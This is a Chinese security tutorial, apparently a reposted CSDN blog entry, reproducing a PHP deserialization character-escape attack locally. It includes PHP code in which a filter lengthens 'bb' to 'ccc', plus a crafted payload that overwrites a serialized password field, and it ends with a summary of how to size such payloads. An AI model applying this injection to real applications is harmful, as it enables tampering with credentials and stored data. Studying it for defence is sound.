pass-[间接修改密码]-[反序列化字符逃逸]-[关键词变长]-[本地复现]

本文阅读 1 分钟
首页 代码,C/C#/C++ 正文

1.pass-[间接修改密码]-[反序列化字符逃逸]-[关键词变长]-[本地复现]

<!--以如下代码为例,如何在不直接修改$pass值的情况下间接修改$pass的值-->
<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    #public $name='aaaa';
    public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"654321";}';
    public $pass='123456';
}

$AA=new A();
$res=filter(serialize($AA));
#echo $res."<br />";
//O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}
//O:1:"A":2:{s:4:"name";s:2:"bb";s:4:"pass";s:6:"123456";}
//O:1:"A":2:{s:4:"name";s:2:"ccc";s:4:"pass";s:6:"123456";}
//";s:4:"pass";s:6:"654321";}
#echo strlen('";s:4:"pass";s:6:"654321";}')."<br />";
//27
//需要27个bb
$c=unserialize($res);
echo $c->pass;
//123456
//654321
?>

2.总结

对于反序列化字符逃逸关键词变长的情况,形如以下情况:
(1)两个连续的键值对,只有第一个键值对的值可控
(2)先序列化,后过滤,过滤之后关键词变长,导致第一个键值对的值可以逃逸出来
    //比如200个字符长度,变为300个字符串长度
    //那么假如我们一开始传入200长度+2长度的闭合+剩下97长度的自定义序列化字符串+1长度的}抛弃
    //对于最后的1长度}抛弃,视情况而定
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/110069463
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复